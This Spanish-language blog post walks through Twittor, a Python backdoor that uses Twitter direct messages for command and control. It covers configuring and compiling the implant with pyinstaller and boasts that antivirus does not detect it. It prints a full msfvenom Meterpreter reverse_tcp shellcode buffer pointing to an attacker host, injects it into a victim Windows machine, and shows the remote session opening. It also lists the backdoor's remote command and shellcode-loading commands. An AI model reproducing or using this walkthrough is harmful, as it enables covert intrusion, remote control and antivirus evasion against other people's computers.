Twittor, un backdoor escrito en Python que utiliza Twitter como C&C

Twittor es un backdoor escrito en Python que utiliza Twitter (mensajes directos) como servidor C&C. Está inspirado en el proyecto GCat que hacía lo mismo pero usando una cuenta de GMail.

Para probarlo necesitamos una cuenta de Twitter; no creo que tenga que deciros a estas alturas que no uséis la vuestra personal ;)
Registramos la aplicación y le damos permisos de lectura, escritura y acceso a mensajes directos.



Después bajamos los archivos del repositorio:
git clone https://github.com/PaulSec/twittor.git

e instalamos los requisitos (por el momento sólo tweepy):

pip install -r requirements.txt

Luego tenemos que añadir las claves de la aplicación que hemos creado en Twitter en ambos scripts, twittor.py (cliente) e implant.py (el backdoor a desplegar):

CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'


Ahora vamos a compilar el backdoor con pyinstaller para facilitar su ejecución en un cliente Windows:

pip install pyinstaller

vmotos@kali:/hpys/pruebas/twittor$ pyinstaller --on-file implant.py 

Si queréis con un servicio multiAV podréis comprobar que de momento el ejecutable es FuD: Virus Scan Result

A continuación ejecutaremos el cliente desde la máquina del atacante, obteniendo un shell interactivo:

$ python twittor.py 
[+] Sending command to retrieve alive bots
[+] Sleeping 10 secs to wait for bots
00:40:26:D0:00:06: Windows-7-6.1.7601-SP1

Cómo veis automáticamente ya ha detectado el primer bot. Podéis comprobarlo directamente:

$ list_bots
00:40:26:D0:00:06: Windows-7-6.1.7601-SP1

Vamos a obtener una sesión remota contra la máquina Windows de la víctima. Para ello primero generaremos un shellcode para meterpreter:

root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.206.128 LPORT=4444 -f python
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 299 bytes
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x3c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xe6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x52\xff\xe0\x5f"
buf += "\x5f\x5a\x8c\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xc0\xa8\xce\x80\x68"
buf += "\x02\x00\x11\x5c\x89\xe6\x6a\x30\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x10\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x4b\x36\x6a"
buf += "\x40\x61\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe3\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

Y luego lo lanzamos con el comando !shellcode:

!shellcode 00:40:26:D0:00:06 \xfc\xe8\x82\x00\x00\x00\x60\....
[+] Sent shellcode with jobid: 4FXIcqb
Y comprobamos que el shell inverso ha funcionado correctamente:
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.206.128:4444 
[*] Starting the payload handler...
[*] Sending stage (885806 bytes) to 192.168.206.1
[*] Meterpreter session 1 opened (192.168.206.128:4444 -> 192.168.206.1:16645) at 2015-09-10 12:14:24 -0400

meterpreter > getuid
Server username: DOMINIO\vmotos
meterpreter > 
¡Perfecto!

También podemos listar el resto de comandos disponibles con 'help' (que básicamente son !cmd y !retreive):
$ help

    refresh - refresh C&C control
    list_bots - list active bots
    list_commands - list executed commands
    !retrieve <jobid> - retrieve jobid command
    !cmd <MAC ADDRESS> command - execute the command on the bot
    !shellcode <MAC ADDRESS> shellcode - load and execute shellcode in memory (Windows only)
    help - print this usage

Por último y por curiosidad podemos echar un vistazo a la intensa actividad de los mensajes directos en nuestra cuenta de Twitter:



Fuente: https://github.com/PaulSec/twittor

Comentarios